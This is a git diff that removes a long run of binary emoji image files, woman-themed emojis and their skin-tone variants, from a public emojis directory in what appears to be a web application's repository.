diff --git a/public/-/emojis/2/woman_detective_tone5.png b/public/-/emojis/2/woman_detective_tone5.png
deleted file mode 100644
index 26e5cf75204..00000000000
--- a/public/-/emojis/2/woman_detective_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_elf.png b/public/-/emojis/2/woman_elf.png
deleted file mode 100644
index 37ec2236f73..00000000000
--- a/public/-/emojis/2/woman_elf.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_elf_tone1.png b/public/-/emojis/2/woman_elf_tone1.png
deleted file mode 100644
index c27ea6b2c55..00000000000
--- a/public/-/emojis/2/woman_elf_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_elf_tone2.png b/public/-/emojis/2/woman_elf_tone2.png
deleted file mode 100644
index 1d3360c3a13..00000000000
--- a/public/-/emojis/2/woman_elf_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_elf_tone3.png b/public/-/emojis/2/woman_elf_tone3.png
deleted file mode 100644
index 1b66fe73df3..00000000000
--- a/public/-/emojis/2/woman_elf_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_elf_tone4.png b/public/-/emojis/2/woman_elf_tone4.png
deleted file mode 100644
index 16ba5fc1c0a..00000000000
--- a/public/-/emojis/2/woman_elf_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_elf_tone5.png b/public/-/emojis/2/woman_elf_tone5.png
deleted file mode 100644
index fea316b9079..00000000000
--- a/public/-/emojis/2/woman_elf_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_facepalming.png b/public/-/emojis/2/woman_facepalming.png
deleted file mode 100644
index 0c831b79c01..00000000000
--- a/public/-/emojis/2/woman_facepalming.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_facepalming_tone1.png b/public/-/emojis/2/woman_facepalming_tone1.png
deleted file mode 100644
index f0772b25ba7..00000000000
--- a/public/-/emojis/2/woman_facepalming_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_facepalming_tone2.png b/public/-/emojis/2/woman_facepalming_tone2.png
deleted file mode 100644
index 0fdc7f357c5..00000000000
--- a/public/-/emojis/2/woman_facepalming_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_facepalming_tone3.png b/public/-/emojis/2/woman_facepalming_tone3.png
deleted file mode 100644
index e60981d58d6..00000000000
--- a/public/-/emojis/2/woman_facepalming_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_facepalming_tone4.png b/public/-/emojis/2/woman_facepalming_tone4.png
deleted file mode 100644
index 3c2f127fbd3..00000000000
--- a/public/-/emojis/2/woman_facepalming_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_facepalming_tone5.png b/public/-/emojis/2/woman_facepalming_tone5.png
deleted file mode 100644
index de76be880fc..00000000000
--- a/public/-/emojis/2/woman_facepalming_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_factory_worker.png b/public/-/emojis/2/woman_factory_worker.png
deleted file mode 100644
index 71b89fb57c9..00000000000
--- a/public/-/emojis/2/woman_factory_worker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_factory_worker_tone1.png b/public/-/emojis/2/woman_factory_worker_tone1.png
deleted file mode 100644
index c96a155a1ff..00000000000
--- a/public/-/emojis/2/woman_factory_worker_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_factory_worker_tone2.png b/public/-/emojis/2/woman_factory_worker_tone2.png
deleted file mode 100644
index fc542b54204..00000000000
--- a/public/-/emojis/2/woman_factory_worker_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_factory_worker_tone3.png b/public/-/emojis/2/woman_factory_worker_tone3.png
deleted file mode 100644
index 6ae1f28fb26..00000000000
--- a/public/-/emojis/2/woman_factory_worker_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_factory_worker_tone4.png b/public/-/emojis/2/woman_factory_worker_tone4.png
deleted file mode 100644
index 1903f238aef..00000000000
--- a/public/-/emojis/2/woman_factory_worker_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_factory_worker_tone5.png b/public/-/emojis/2/woman_factory_worker_tone5.png
deleted file mode 100644
index 9bb83ecf927..00000000000
--- a/public/-/emojis/2/woman_factory_worker_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_fairy.png b/public/-/emojis/2/woman_fairy.png
deleted file mode 100644
index 85639ec09f1..00000000000
--- a/public/-/emojis/2/woman_fairy.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_fairy_tone1.png b/public/-/emojis/2/woman_fairy_tone1.png
deleted file mode 100644
index 6d773975025..00000000000
--- a/public/-/emojis/2/woman_fairy_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_fairy_tone2.png b/public/-/emojis/2/woman_fairy_tone2.png
deleted file mode 100644
index 5833be9dd4f..00000000000
--- a/public/-/emojis/2/woman_fairy_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_fairy_tone3.png b/public/-/emojis/2/woman_fairy_tone3.png
deleted file mode 100644
index bd75eb21411..00000000000
--- a/public/-/emojis/2/woman_fairy_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_fairy_tone4.png b/public/-/emojis/2/woman_fairy_tone4.png
deleted file mode 100644
index 0cffefe3e41..00000000000
--- a/public/-/emojis/2/woman_fairy_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_fairy_tone5.png b/public/-/emojis/2/woman_fairy_tone5.png
deleted file mode 100644
index 2fd1c5181f2..00000000000
--- a/public/-/emojis/2/woman_fairy_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_farmer.png b/public/-/emojis/2/woman_farmer.png
deleted file mode 100644
index d6d1eea8053..00000000000
--- a/public/-/emojis/2/woman_farmer.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_farmer_tone1.png b/public/-/emojis/2/woman_farmer_tone1.png
deleted file mode 100644
index 6ad1bdd9207..00000000000
--- a/public/-/emojis/2/woman_farmer_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_farmer_tone2.png b/public/-/emojis/2/woman_farmer_tone2.png
deleted file mode 100644
index 29fe8edc57c..00000000000
--- a/public/-/emojis/2/woman_farmer_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_farmer_tone3.png b/public/-/emojis/2/woman_farmer_tone3.png
deleted file mode 100644
index deb4c08a468..00000000000
--- a/public/-/emojis/2/woman_farmer_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_farmer_tone4.png b/public/-/emojis/2/woman_farmer_tone4.png
deleted file mode 100644
index 6471d6049ce..00000000000
--- a/public/-/emojis/2/woman_farmer_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_farmer_tone5.png b/public/-/emojis/2/woman_farmer_tone5.png
deleted file mode 100644
index 3d00fcf5312..00000000000
--- a/public/-/emojis/2/woman_farmer_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_firefighter.png b/public/-/emojis/2/woman_firefighter.png
deleted file mode 100644
index 12569a60bb8..00000000000
--- a/public/-/emojis/2/woman_firefighter.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_firefighter_tone1.png b/public/-/emojis/2/woman_firefighter_tone1.png
deleted file mode 100644
index 6891d9727fc..00000000000
--- a/public/-/emojis/2/woman_firefighter_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_firefighter_tone2.png b/public/-/emojis/2/woman_firefighter_tone2.png
deleted file mode 100644
index 46dc690c4da..00000000000
--- a/public/-/emojis/2/woman_firefighter_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_firefighter_tone3.png b/public/-/emojis/2/woman_firefighter_tone3.png
deleted file mode 100644
index 8b67de2e5ab..00000000000
--- a/public/-/emojis/2/woman_firefighter_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_firefighter_tone4.png b/public/-/emojis/2/woman_firefighter_tone4.png
deleted file mode 100644
index 463864cd3a3..00000000000
--- a/public/-/emojis/2/woman_firefighter_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_firefighter_tone5.png b/public/-/emojis/2/woman_firefighter_tone5.png
deleted file mode 100644
index e167428d061..00000000000
--- a/public/-/emojis/2/woman_firefighter_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_frowning.png b/public/-/emojis/2/woman_frowning.png
deleted file mode 100644
index ee090ea16fc..00000000000
--- a/public/-/emojis/2/woman_frowning.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_frowning_tone1.png b/public/-/emojis/2/woman_frowning_tone1.png
deleted file mode 100644
index 130ac90b41d..00000000000
--- a/public/-/emojis/2/woman_frowning_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_frowning_tone2.png b/public/-/emojis/2/woman_frowning_tone2.png
deleted file mode 100644
index faf75539a4d..00000000000
--- a/public/-/emojis/2/woman_frowning_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_frowning_tone3.png b/public/-/emojis/2/woman_frowning_tone3.png
deleted file mode 100644
index 5322e28743b..00000000000
--- a/public/-/emojis/2/woman_frowning_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_frowning_tone4.png b/public/-/emojis/2/woman_frowning_tone4.png
deleted file mode 100644
index 1cbfd855e74..00000000000
--- a/public/-/emojis/2/woman_frowning_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_frowning_tone5.png b/public/-/emojis/2/woman_frowning_tone5.png
deleted file mode 100644
index fbfbfb6e175..00000000000
--- a/public/-/emojis/2/woman_frowning_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_genie.png b/public/-/emojis/2/woman_genie.png
deleted file mode 100644
index 3174f932275..00000000000
--- a/public/-/emojis/2/woman_genie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_no.png b/public/-/emojis/2/woman_gesturing_no.png
deleted file mode 100644
index c43ec8230d3..00000000000
--- a/public/-/emojis/2/woman_gesturing_no.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_no_tone1.png b/public/-/emojis/2/woman_gesturing_no_tone1.png
deleted file mode 100644
index 384d8846cc8..00000000000
--- a/public/-/emojis/2/woman_gesturing_no_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_no_tone2.png b/public/-/emojis/2/woman_gesturing_no_tone2.png
deleted file mode 100644
index db4da65a396..00000000000
--- a/public/-/emojis/2/woman_gesturing_no_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_no_tone3.png b/public/-/emojis/2/woman_gesturing_no_tone3.png
deleted file mode 100644
index 74f7e896034..00000000000
--- a/public/-/emojis/2/woman_gesturing_no_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_no_tone4.png b/public/-/emojis/2/woman_gesturing_no_tone4.png
deleted file mode 100644
index 69f0741224e..00000000000
--- a/public/-/emojis/2/woman_gesturing_no_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_no_tone5.png b/public/-/emojis/2/woman_gesturing_no_tone5.png
deleted file mode 100644
index e1ce615fbb8..00000000000
--- a/public/-/emojis/2/woman_gesturing_no_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_ok.png b/public/-/emojis/2/woman_gesturing_ok.png
deleted file mode 100644
index 0635c25e1b3..00000000000
--- a/public/-/emojis/2/woman_gesturing_ok.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_ok_tone1.png b/public/-/emojis/2/woman_gesturing_ok_tone1.png
deleted file mode 100644
index 478686de59d..00000000000
--- a/public/-/emojis/2/woman_gesturing_ok_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_ok_tone2.png b/public/-/emojis/2/woman_gesturing_ok_tone2.png
deleted file mode 100644
index 20f3696d615..00000000000
--- a/public/-/emojis/2/woman_gesturing_ok_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_ok_tone3.png b/public/-/emojis/2/woman_gesturing_ok_tone3.png
deleted file mode 100644
index cdfa006034a..00000000000
--- a/public/-/emojis/2/woman_gesturing_ok_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_ok_tone4.png b/public/-/emojis/2/woman_gesturing_ok_tone4.png
deleted file mode 100644
index 04e4d161097..00000000000
--- a/public/-/emojis/2/woman_gesturing_ok_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_gesturing_ok_tone5.png b/public/-/emojis/2/woman_gesturing_ok_tone5.png
deleted file mode 100644
index 25825b0a621..00000000000
--- a/public/-/emojis/2/woman_gesturing_ok_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_face_massage.png b/public/-/emojis/2/woman_getting_face_massage.png
deleted file mode 100644
index e447b4e45e7..00000000000
--- a/public/-/emojis/2/woman_getting_face_massage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_face_massage_tone1.png b/public/-/emojis/2/woman_getting_face_massage_tone1.png
deleted file mode 100644
index 8b0c613951f..00000000000
--- a/public/-/emojis/2/woman_getting_face_massage_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_face_massage_tone2.png b/public/-/emojis/2/woman_getting_face_massage_tone2.png
deleted file mode 100644
index 589e13db23c..00000000000
--- a/public/-/emojis/2/woman_getting_face_massage_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_face_massage_tone3.png b/public/-/emojis/2/woman_getting_face_massage_tone3.png
deleted file mode 100644
index e5304dc82d3..00000000000
--- a/public/-/emojis/2/woman_getting_face_massage_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_face_massage_tone4.png b/public/-/emojis/2/woman_getting_face_massage_tone4.png
deleted file mode 100644
index 9d578bc7c10..00000000000
--- a/public/-/emojis/2/woman_getting_face_massage_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_face_massage_tone5.png b/public/-/emojis/2/woman_getting_face_massage_tone5.png
deleted file mode 100644
index 2415ae08db5..00000000000
--- a/public/-/emojis/2/woman_getting_face_massage_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_haircut.png b/public/-/emojis/2/woman_getting_haircut.png
deleted file mode 100644
index fed4e197e88..00000000000
--- a/public/-/emojis/2/woman_getting_haircut.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_haircut_tone1.png b/public/-/emojis/2/woman_getting_haircut_tone1.png
deleted file mode 100644
index fa2f24cb807..00000000000
--- a/public/-/emojis/2/woman_getting_haircut_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_haircut_tone2.png b/public/-/emojis/2/woman_getting_haircut_tone2.png
deleted file mode 100644
index 2542c5febbb..00000000000
--- a/public/-/emojis/2/woman_getting_haircut_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_haircut_tone3.png b/public/-/emojis/2/woman_getting_haircut_tone3.png
deleted file mode 100644
index 050167e2e0e..00000000000
--- a/public/-/emojis/2/woman_getting_haircut_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_haircut_tone4.png b/public/-/emojis/2/woman_getting_haircut_tone4.png
deleted file mode 100644
index 5ef0deaf324..00000000000
--- a/public/-/emojis/2/woman_getting_haircut_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_getting_haircut_tone5.png b/public/-/emojis/2/woman_getting_haircut_tone5.png
deleted file mode 100644
index c415c7a309a..00000000000
--- a/public/-/emojis/2/woman_getting_haircut_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_golfing.png b/public/-/emojis/2/woman_golfing.png
deleted file mode 100644
index b6dade33bb4..00000000000
--- a/public/-/emojis/2/woman_golfing.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_golfing_tone1.png b/public/-/emojis/2/woman_golfing_tone1.png
deleted file mode 100644
index 15fdaee57c6..00000000000
--- a/public/-/emojis/2/woman_golfing_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_golfing_tone2.png b/public/-/emojis/2/woman_golfing_tone2.png
deleted file mode 100644
index 230213a905d..00000000000
--- a/public/-/emojis/2/woman_golfing_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_golfing_tone3.png b/public/-/emojis/2/woman_golfing_tone3.png
deleted file mode 100644
index 4e6d4910b01..00000000000
--- a/public/-/emojis/2/woman_golfing_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_golfing_tone4.png b/public/-/emojis/2/woman_golfing_tone4.png
deleted file mode 100644
index 4f679fd09cd..00000000000
--- a/public/-/emojis/2/woman_golfing_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_golfing_tone5.png b/public/-/emojis/2/woman_golfing_tone5.png
deleted file mode 100644
index 2e06c3ffe9e..00000000000
--- a/public/-/emojis/2/woman_golfing_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_guard.png b/public/-/emojis/2/woman_guard.png
deleted file mode 100644
index 46d2f7495a5..00000000000
--- a/public/-/emojis/2/woman_guard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_guard_tone1.png b/public/-/emojis/2/woman_guard_tone1.png
deleted file mode 100644
index 846283b0a44..00000000000
--- a/public/-/emojis/2/woman_guard_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_guard_tone2.png b/public/-/emojis/2/woman_guard_tone2.png
deleted file mode 100644
index 124f9f5f36b..00000000000
--- a/public/-/emojis/2/woman_guard_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_guard_tone3.png b/public/-/emojis/2/woman_guard_tone3.png
deleted file mode 100644
index 86f32ef48fd..00000000000
--- a/public/-/emojis/2/woman_guard_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_guard_tone4.png b/public/-/emojis/2/woman_guard_tone4.png
deleted file mode 100644
index 47cfc2a1de7..00000000000
--- a/public/-/emojis/2/woman_guard_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_guard_tone5.png b/public/-/emojis/2/woman_guard_tone5.png
deleted file mode 100644
index 0ce0c3d202d..00000000000
--- a/public/-/emojis/2/woman_guard_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_health_worker.png b/public/-/emojis/2/woman_health_worker.png
deleted file mode 100644
index 073fede2215..00000000000
--- a/public/-/emojis/2/woman_health_worker.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_health_worker_tone1.png b/public/-/emojis/2/woman_health_worker_tone1.png
deleted file mode 100644
index 7e6e7016b5f..00000000000
--- a/public/-/emojis/2/woman_health_worker_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_health_worker_tone2.png b/public/-/emojis/2/woman_health_worker_tone2.png
deleted file mode 100644
index 1d009290fa1..00000000000
--- a/public/-/emojis/2/woman_health_worker_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_health_worker_tone3.png b/public/-/emojis/2/woman_health_worker_tone3.png
deleted file mode 100644
index d32eaf40835..00000000000
--- a/public/-/emojis/2/woman_health_worker_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_health_worker_tone4.png b/public/-/emojis/2/woman_health_worker_tone4.png
deleted file mode 100644
index 007a5ed794f..00000000000
--- a/public/-/emojis/2/woman_health_worker_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_health_worker_tone5.png b/public/-/emojis/2/woman_health_worker_tone5.png
deleted file mode 100644
index 91f0d2702d1..00000000000
--- a/public/-/emojis/2/woman_health_worker_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_lotus_position.png b/public/-/emojis/2/woman_in_lotus_position.png
deleted file mode 100644
index 9926baa1324..00000000000
--- a/public/-/emojis/2/woman_in_lotus_position.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_lotus_position_tone1.png b/public/-/emojis/2/woman_in_lotus_position_tone1.png
deleted file mode 100644
index a58486d19a3..00000000000
--- a/public/-/emojis/2/woman_in_lotus_position_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_lotus_position_tone2.png b/public/-/emojis/2/woman_in_lotus_position_tone2.png
deleted file mode 100644
index 2ab8734ade9..00000000000
--- a/public/-/emojis/2/woman_in_lotus_position_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_lotus_position_tone3.png b/public/-/emojis/2/woman_in_lotus_position_tone3.png
deleted file mode 100644
index dc6cce342e1..00000000000
--- a/public/-/emojis/2/woman_in_lotus_position_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_lotus_position_tone4.png b/public/-/emojis/2/woman_in_lotus_position_tone4.png
deleted file mode 100644
index 14888acdae0..00000000000
--- a/public/-/emojis/2/woman_in_lotus_position_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_lotus_position_tone5.png b/public/-/emojis/2/woman_in_lotus_position_tone5.png
deleted file mode 100644
index d44a1f69867..00000000000
--- a/public/-/emojis/2/woman_in_lotus_position_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_steamy_room.png b/public/-/emojis/2/woman_in_steamy_room.png
deleted file mode 100644
index b0ffe0dce62..00000000000
--- a/public/-/emojis/2/woman_in_steamy_room.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_steamy_room_tone1.png b/public/-/emojis/2/woman_in_steamy_room_tone1.png
deleted file mode 100644
index a0159a7924b..00000000000
--- a/public/-/emojis/2/woman_in_steamy_room_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_steamy_room_tone2.png b/public/-/emojis/2/woman_in_steamy_room_tone2.png
deleted file mode 100644
index d4729ed48ab..00000000000
--- a/public/-/emojis/2/woman_in_steamy_room_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_steamy_room_tone3.png b/public/-/emojis/2/woman_in_steamy_room_tone3.png
deleted file mode 100644
index 204215eadf7..00000000000
--- a/public/-/emojis/2/woman_in_steamy_room_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_steamy_room_tone4.png b/public/-/emojis/2/woman_in_steamy_room_tone4.png
deleted file mode 100644
index 0929cb3bb3d..00000000000
--- a/public/-/emojis/2/woman_in_steamy_room_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_in_steamy_room_tone5.png b/public/-/emojis/2/woman_in_steamy_room_tone5.png
deleted file mode 100644
index 58906c4a1eb..00000000000
--- a/public/-/emojis/2/woman_in_steamy_room_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_judge.png b/public/-/emojis/2/woman_judge.png
deleted file mode 100644
index bdf7eef7f7b..00000000000
--- a/public/-/emojis/2/woman_judge.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_judge_tone1.png b/public/-/emojis/2/woman_judge_tone1.png
deleted file mode 100644
index 282cd808702..00000000000
--- a/public/-/emojis/2/woman_judge_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_judge_tone2.png b/public/-/emojis/2/woman_judge_tone2.png
deleted file mode 100644
index 383371711af..00000000000
--- a/public/-/emojis/2/woman_judge_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_judge_tone3.png b/public/-/emojis/2/woman_judge_tone3.png
deleted file mode 100644
index 65d56a2b2b3..00000000000
--- a/public/-/emojis/2/woman_judge_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_judge_tone4.png b/public/-/emojis/2/woman_judge_tone4.png
deleted file mode 100644
index b3e0f004e0b..00000000000
--- a/public/-/emojis/2/woman_judge_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_judge_tone5.png b/public/-/emojis/2/woman_judge_tone5.png
deleted file mode 100644
index fe5c62ed53e..00000000000
--- a/public/-/emojis/2/woman_judge_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_juggling.png b/public/-/emojis/2/woman_juggling.png
deleted file mode 100644
index 4228cb40ac8..00000000000
--- a/public/-/emojis/2/woman_juggling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_juggling_tone1.png b/public/-/emojis/2/woman_juggling_tone1.png
deleted file mode 100644
index 3bb5575faf2..00000000000
--- a/public/-/emojis/2/woman_juggling_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_juggling_tone2.png b/public/-/emojis/2/woman_juggling_tone2.png
deleted file mode 100644
index 7136be73b87..00000000000
--- a/public/-/emojis/2/woman_juggling_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_juggling_tone3.png b/public/-/emojis/2/woman_juggling_tone3.png
deleted file mode 100644
index 617b3209d68..00000000000
--- a/public/-/emojis/2/woman_juggling_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_juggling_tone4.png b/public/-/emojis/2/woman_juggling_tone4.png
deleted file mode 100644
index 3dfeb38d587..00000000000
--- a/public/-/emojis/2/woman_juggling_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_juggling_tone5.png b/public/-/emojis/2/woman_juggling_tone5.png
deleted file mode 100644
index 68ff2298fe9..00000000000
--- a/public/-/emojis/2/woman_juggling_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_lifting_weights.png b/public/-/emojis/2/woman_lifting_weights.png
deleted file mode 100644
index 77f373aa088..00000000000
--- a/public/-/emojis/2/woman_lifting_weights.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_lifting_weights_tone1.png b/public/-/emojis/2/woman_lifting_weights_tone1.png
deleted file mode 100644
index aaf280d6af8..00000000000
--- a/public/-/emojis/2/woman_lifting_weights_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_lifting_weights_tone2.png b/public/-/emojis/2/woman_lifting_weights_tone2.png
deleted file mode 100644
index 083bf145527..00000000000
--- a/public/-/emojis/2/woman_lifting_weights_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_lifting_weights_tone3.png b/public/-/emojis/2/woman_lifting_weights_tone3.png
deleted file mode 100644
index 45cbd06c1a2..00000000000
--- a/public/-/emojis/2/woman_lifting_weights_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_lifting_weights_tone4.png b/public/-/emojis/2/woman_lifting_weights_tone4.png
deleted file mode 100644
index ff9db21eb47..00000000000
--- a/public/-/emojis/2/woman_lifting_weights_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_lifting_weights_tone5.png b/public/-/emojis/2/woman_lifting_weights_tone5.png
deleted file mode 100644
index c1c81db9e71..00000000000
--- a/public/-/emojis/2/woman_lifting_weights_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mage.png b/public/-/emojis/2/woman_mage.png
deleted file mode 100644
index bde7ad5cd93..00000000000
--- a/public/-/emojis/2/woman_mage.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mage_tone1.png b/public/-/emojis/2/woman_mage_tone1.png
deleted file mode 100644
index 91cc2449a15..00000000000
--- a/public/-/emojis/2/woman_mage_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mage_tone2.png b/public/-/emojis/2/woman_mage_tone2.png
deleted file mode 100644
index 77fedc4ea1c..00000000000
--- a/public/-/emojis/2/woman_mage_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mage_tone3.png b/public/-/emojis/2/woman_mage_tone3.png
deleted file mode 100644
index c15d82e9d86..00000000000
--- a/public/-/emojis/2/woman_mage_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mage_tone4.png b/public/-/emojis/2/woman_mage_tone4.png
deleted file mode 100644
index a3098082691..00000000000
--- a/public/-/emojis/2/woman_mage_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/woman_mage_tone5.png b/public/-/emojis/2/woman_mage_tone5.png
deleted file mode 100644
index e1ac342393a..00000000000
--- a/public/-/emojis/2/woman_mage_tone5.png
+++ /dev/null
Binary files differ
